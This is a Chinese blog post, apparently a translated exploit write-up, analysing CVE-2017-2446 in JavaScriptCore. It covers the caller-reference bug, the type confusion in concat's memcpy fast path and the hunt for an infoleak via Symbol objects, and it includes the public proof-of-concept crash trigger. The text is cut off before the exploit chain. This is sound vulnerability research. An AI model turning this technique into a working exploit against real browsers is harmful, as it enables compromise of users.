CVE-2017-2446漏洞利用:从JavaScriptCore类型混淆到代码执行

本文详细分析了CVE-2017-2446漏洞在JavaScriptCore中的利用过程,包括类型混淆、信息泄露、内存读写原语构建,最终通过精心构造的gadget链实现任意代码执行并获取shell。

CVE-2017-2446漏洞利用:从JavaScriptCore类型混淆到代码执行

引言

本文将从浏览器漏洞利用新手的视角,详细介绍如何为JavaScriptCore(JSC)开发漏洞利用程序。年初时,我对CTF问题感到厌倦,开始对编写更复杂、实用的漏洞利用程序产生兴趣。选择WebKit漏洞利用的原因包括:它是现实世界中广泛使用的代码;浏览器是我不太熟悉的领域(包括C++和解释器利用);WebKit据称是主要浏览器目标中最容易攻破的;已有大量关于WebKit漏洞利用的优秀资源,特别是saelo的Phrack文章和各种公开的控制台漏洞利用程序。

在本文中,我选择了一个看起来有趣且尚未公开利用的漏洞:@natashenka在Project Zero漏洞跟踪器中报告的CVE-2017-2446。漏洞报告中的PoC在memcpy()中崩溃,且部分寄存器可控,这通常是个好兆头。

目标设置与工具

首先,我们需要一个易受攻击的WebKit版本。e72e58665d57523f6792ad3479613935ecf9a5e0是最后一个易受攻击版本的哈希(修复在f7303f96833aa65a9eec5643dba39cede8d01144中),因此我们基于此版本进行检出和构建。

为了保持在更熟悉的领域,我决定仅针对jsc二进制文件,而不是整个WebKit浏览器。jsc是围绕libJavaScriptCore的薄命令行包装器,WebKit使用该库作为其JavaScript引擎。这意味着任何针对jsc的漏洞利用程序经过一些修改后也应在WebKit中工作。

我决定在Linux上针对WebKit而不是macOS,主要原因是调试器熟悉度(gdb + gef)。对于代码浏览,我最终使用了vim和rtags,效果尚可。

目标修改

我发现自己经常希望在脚本中设置断点以检查解释器状态。经过一番折腾后,我最终向jsc添加了一个dbg()函数。这允许我编写如下代码:

1
2
3
dbg(); // 检查内存布局
foo(); // 执行某些操作
dbg(); // 查看变化情况

添加dbg()到jsc的补丁非常简单:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
diff --git a/Source/JavaScriptCore/jsc.cpp b/Source/JavaScriptCore/jsc.cpp
index bda9a09d0d2..d359518b9b6 100644
--- a/Source/JavaScriptCore/jsc.cpp
+++ b/Source/JavaScriptCore/jsc.cpp
@@ -994,6 +994,7 @@ static EncodedJSValue JSC_HOST_CALL functionSetHiddenValue(ExecState*);
 static EncodedJSValue JSC_HOST_CALL functionPrintStdOut(ExecState*);
 static EncodedJSValue JSC_HOST_CALL functionPrintStdErr(ExecState*);
 static EncodedJSValue JSC_HOST_CALL functionDebug(ExecState*);
+static EncodedJSValue JSC_HOST_CALL functionDbg(ExecState*);
 static EncodedJSValue JSC_HOST_CALL functionDescribe(ExecState*);
 static EncodedJSValue JSC_HOST_CALL functionDescribeArray(ExecState*);
 static EncodedJSValue JSC_HOST_CALL functionSleepSeconds(ExecState*);
@@ -1218,6 +1219,7 @@ protected:
 
         addFunction(vm, "debug", functionDebug, 1);
         addFunction(vm, "describe", functionDescribe, 1);
+        addFunction(vm, "dbg", functionDbg, 0);
         addFunction(vm, "describeArray", functionDescribeArray, 1);
         addFunction(vm, "print", functionPrintStdOut, 1);
         addFunction(vm, "printErr", functionPrintStdErr, 1);
@@ -1752,6 +1754,13 @@ EncodedJSValue JSC_HOST_CALL functionDebug(ExecState* exec)
     return JSValue::encode(jsUndefined());
 }
 
+EncodedJSValue JSC_HOST_CALL functionDbg(ExecState* exec)
+{
+       asm("int3;");
+
+       return JSValue::encode(jsUndefined());
+}
+
 EncodedJSValue JSC_HOST_CALL functionDescribe(ExecState* exec)
 {
     if (exec->argumentCount() < 1)

其他有用的jsc功能

jsc向解释器添加的两个有用函数是describe()和describeArray()。由于这些函数在实际目标解释器中不存在,因此不能用于漏洞利用,但在调试时非常有用:

1
2
3
4
5
6
>>> a = [0x41, 0x42];
65,66
>>> describe(a);
Object: 0x7fc5663b01f0 with butterfly 0x7fc5663caec8 (0x7fc5663eac20:[Array, {}, ArrayWithInt32, Proto:0x7fc5663e4140, Leaf]), ID: 88
>>> describeArray(a);
<Butterfly: 0x7fc5663caec8; public length: 2; vector length: 3>

符号

WebKit的发布版本没有启用断言,但也没有符号。由于我们需要符号,因此使用CFLAGS=-g CXXFLAGS=-g Scripts/Tools/build-webkit –jsc-only进行构建。

符号信息可能需要调试器花费相当长的时间来解析。我们可以通过对jsc和libJavaScriptCore.so运行gdb-add-index来显著减少调试器的加载时间。

转储对象布局

WebKit附带了一个用于macOS的脚本,可以转储各种类的对象布局,例如,以下是JSC::JSString:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
x@webkit:~/WebKit/Tools/Scripts$ ./dump-class-layout JSC JSString
Found 1 types matching "JSString" in "/home/x/WebKit/WebKitBuild/Release/lib/libJavaScriptCore.so"
  +0 { 24} JSString
  +0 {  8}     JSC::JSCell
  +0 {  1}         JSC::HeapCell
  +0 <  4>         JSC::StructureID m_structureID;
  +4 <  1>         JSC::IndexingType m_indexingTypeAndMisc;
  +5 <  1>         JSC::JSType m_type;
  +6 <  1>         JSC::TypeInfo::InlineTypeFlags m_flags;
  +7 <  1>         JSC::CellState m_cellState;
  +8 <  4>     unsigned int m_flags;
 +12 <  4>     unsigned int m_length;
 +16 <  8>     WTF::String m_value;
 +16 <  8>         WTF::RefPtr<WTF::StringImpl> m_impl;
 +16 <  8>             WTF::StringImpl * m_ptr;
Total byte size: 24
Total pad bytes: 0

此脚本需要稍作修改才能在Linux上运行,但在后续过程中非常有用。

漏洞

构建好目标并设置好工具后,让我们深入了解一下漏洞。JavaScript(显然)有一个获取函数调用者的功能:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
var q;

function f() {
    q = f.caller;
}

function g() {
    f();
}

g(); // ‘q’现在等于‘g’

在某些条件下,此行为被禁用,特别是当JavaScript代码在严格模式下运行时。这里的特定漏洞是,如果从严格函数调用非严格函数,JSC将允许您获取对严格函数的引用。从提供的PoC中可以看出这是一个问题:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
var q;
// 这是一个非严格的代码块,因此允许获取调用者
function g(){
    q = g.caller;
    return 7;
}

var a = [1, 2, 3];
a.length = 4;
// 当任何东西(包括运行时)访问a[3]时,将调用g
Object.defineProperty(Array.prototype, "3", {get : g});
// 触发运行时访问a[3]
[4, 5, 6].concat(a);
// q现在是对内部运行时函数的引用
q(0x77777777, 0x77777777, 0); // 崩溃

在这种情况下,concat代码位于Source/JavaScriptCore/builtins/ArrayPrototype.js中,并标记为’use strict’。

这种行为并不总是可利用的:我们需要一个JS运行时函数’a’对参数执行清理,然后调用另一个运行时函数’b’,可以强制其执行用户提供的JavaScript以获取对’b’的函数引用。这将允许您执行b(0x41, 0x42),跳过’a’通常会对输入执行的清理。

JSC运行时是JavaScript和C++的组合,大致如下:

1
2
3
4
5
6
7
+-------------+
| 用户代码    | <- 用户提供的代码
+-------------+
| JS运行时    | <- 作为运行时一部分随浏览器提供的JS
+-------------+
| Cpp运行时   | <- 实现运行时其余部分的C++
+-------------+

上面的Array.concat是这种模式的一个好例子:当调用concat()时,它首先进入ArrayPrototype.js对参数执行清理,然后调用其中一个concat实现。快速路径实现通常用C++编写,而慢速路径要么是纯JS,要么是不同的C++实现。

这个漏洞的有用之处在于,我们获得的函数引用(上面代码片段中的’q’)是在JavaScript层执行输入清理之后,这意味着我们直接引用了本地函数。

提供的PoC是一个特别强大的例子,但还有其他例子——有些有用,有些无用。就一般计划而言,我们需要使用此漏洞创建信息泄漏以击败ASLR,然后找到一种方法利用它劫持控制流并获取shell。

信息泄漏

击败ASLR是首要任务。为此,我们需要了解在concat代码中拥有的引用。

详细分析concat

从concat调用跟踪代码路径,我们从Source/JavaScriptCore/builtins/ArrayPrototype.js开始:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
function concat(first)
{
    "use strict";

    // [1] 执行一些输入验证
    if (@argumentCount() === 1
        && @isJSArray(this)
        && this.@isConcatSpreadableSymbol === @undefined
        && (!@isObject(first) || first.@isConcatSpreadableSymbol === @undefined)) {

        let result = @concatMemcpy(this, first); // [2] 调用快速路径
        if (result !== null)
            return result;
    }

    // … 省略 ...

在此代码片段中,@是解释器粘合剂,告诉JavaScript引擎在C++绑定中查找指定符号。这些函数只能通过Webkit附带的JavaScript运行时调用,而不能通过用户代码调用。如果通过一些间接方式跟踪,您会发现@concatMemcpy对应于Source/JavaScriptCore/runtime/ArrayPrototype.cpp中的arrayProtoPrivateFuncAppendMemcpy:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
EncodedJSValue JSC_HOST_CALL arrayProtoPrivateFuncAppendMemcpy(ExecState* exec)
{
    ASSERT(exec->argumentCount() == 3);

    VM& vm = exec->vm();
    JSArray* resultArray = jsCast<JSArray*>(exec->uncheckedArgument(0));
    JSArray* otherArray = jsCast<JSArray*>(exec->uncheckedArgument(1));
    JSValue startValue = exec->uncheckedArgument(2);
    ASSERT(startValue.isAnyInt() && startValue.asAnyInt() >= 0 && startValue.asAnyInt() <= std::numeric_limits<unsigned>::max());
    unsigned startIndex = static_cast<unsigned>(startValue.asAnyInt());
    if (!resultArray->appendMemcpy(exec, vm, startIndex, otherArray)) // [3] 快速路径...
    // … 省略 ...
}

最终调用JSArray.cpp中的appendMemcpy:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
bool JSArray::appendMemcpy(ExecState* exec, VM& vm, unsigned startIndex, JSC::JSArray* otherArray)
{
    // … 省略 ...

    unsigned otherLength = otherArray->length();
    unsigned newLength = startIndex + otherLength;
    if (newLength >= MIN_SPARSE_ARRAY_INDEX)
        return false;

    if (!ensureLength(vm, newLength)) { // [4] 检查目标大小
        throwOutOfMemoryError(exec, scope);
        return false;
    }
    ASSERT(copyType == indexingType());

    if (type == ArrayWithDouble)
        memcpy(butterfly()->contiguousDouble().data() + startIndex, otherArray->butterfly()->contiguousDouble().data(), sizeof(JSValue) * otherLength);
    else
        memcpy(butterfly()->contiguous().data() + startIndex, otherArray->butterfly()->contiguous().data(), sizeof(JSValue) * otherLength); // [5] 执行concat

    return true;
}

这可能看起来像很多代码,但给定数组src和dst,它可以简化为:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
# JS Array.concat
def concat(dst, src):
    if typeof(dst) == Array and typeof(src) == Array: concatFastPath(dst, src)
    else: concatSlowPath(dst, src)

# C++ concatMemcpy / arrayProtoPrivateFuncAppendMemcpy
def concatFastPath(dst, src):
    appendMemcpy(dst, src)

# C++ appendMemcpy
def appendMemcpy(dst, src):
    if allocated_size(dst) < sizeof(dst) + sizeof(src):
        resize(dst)

    memcpy(dst + sizeof(dst), src, sizeof(src));

然而,由于我们的漏洞,我们可以跳过[1]处的类型验证,直接使用非数组参数调用arrayProtoPrivateFuncAppendMemcpy!这将逻辑漏洞转变为类型混淆,并开辟了一些利用可能性。

JSObject布局

为了更好地理解漏洞,让我们看一下JSArray的布局:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
x@webkit:~/WebKit/Tools/Scripts$ ./dump-class-layout JSC JSArray
Found 1 types matching "JSArray" in "/home/x/WebKit/WebKitBuild/Release/lib/libJavaScriptCore.so"
  +0 { 16} JSArray
  +0 { 16}     JSC::JSNonFinalObject
  +0 { 16}         JSC::JSObject
  +0 {  8}             JSC::JSCell
  +0 {  1}                 JSC::HeapCell
  +0 <  4>                 JSC::StructureID m_structureID;
  +4 <  1>                 JSC::IndexingType m_indexingTypeAndMisc;
  +5 <  1>                 JSC::JSType m_type;
  +6 <  1>                 JSC::TypeInfo::InlineTypeFlags m_flags;
  +7 <  1>                 JSC::CellState m_cellState;
  +8 <  8>             JSC::AuxiliaryBarrier<JSC::Butterfly *> m_butterfly;
  +8 <  8>                 JSC::Butterfly * m_value;
Total byte size: 16
Total pad bytes: 0

我们触发的memcpy使用butterfly()->contiguous().data() + startIndex作为目标,虽然这最初看起来复杂,但大部分都会编译掉。butterfly()是一个butterfly,如saelo的Phrack文章中详细说明。这意味着contiguous().data()部分实际上消失了。startIndex也完全可控,因此我们可以使其为0。结果,我们的memcpy简化为:memcpy(qword ptr [obj + 8], qword ptr [src + 8], sizeof(src))。要利用此漏洞,我们只需要一个在偏移+8处具有非butterfly指针的对象。

结果证明这并不简单。我能找到的大多数对象都继承自JSObject,意味着它们继承了在+8处的butterfly指针字段。在某些情况下(例如ArrayBuffer),此值 simply为NULL,而在其他情况下,我最终将butterfly与另一个butterfly类型混淆,但没有效果。JSString特别令人沮丧,因为它们的相关布局部分是:

1
2
+8    flags  : u32
+12   length : u32

长度字段可通过用户代码控制,但flags不能。这给了我一个可以控制指针高32位的原语,虽然这可能通过一些堆喷射实现,但我选择寻找更好的漏洞(™)。

通过Symbols得救

此时我的基本过程是查看MDN上可以从解释器实例化的类型。这些大多数要么是装箱的(整数、布尔值等),要么是对象或字符串。然而,Symbol是一种JS原始类型,具有潜在有用的布局:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
x@webkit:~/WebKit/Tools/Scripts$ ./dump-class-layout JSC Symbol
Found 1 types matching "Symbol" in "/home/x/WebKit/WebKitBuild/Release/lib/libJavaScriptCore.so"
  +0 { 16} Symbol
  +0 {  8}     JSC::JSCell
  +0 {  1}         JSC::HeapCell
  +0 <  4>         JSC::StructureID m_structureID;
  +4 <  1>         JSC::IndexingType m_indexingTypeAndMisc;
  +5 <  1>         JSC::JSType m_type;
  +6 <  1>         JSC::TypeInfo::InlineTypeFlags m_flags;
  +7 <  1>         JSC::CellState m_cellState;
  +8 <  8>     JSC::PrivateName m_privateName;
  +8 <  8>         WTF::Ref<WTF::SymbolImpl> m_uid;
  +8 <  8>             WTF::SymbolImpl * m_ptr;
Total byte size: 16
Total pad bytes: 0

在+8处,我们有一个指向非butterfly的指针!此外,此对象通过上述代码路径的所有检查,导致在SymbolImpl上进行潜在可控的memcpy。现在我们只需要一种方法将其转变为信息泄漏…

图表

WTF::SymbolImpl的布局:

1
2
3
4
x@webkit:~/WebKit/Tools/Scripts$ ./dump-class-layout WTF SymbolImpl
Found 1 types matching "SymbolImpl" in "/home/x/WebKit/WebKitBuild/Release/lib/libJavaScriptCore.so"
  +0 { 48} SymbolImpl
  +0 {
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计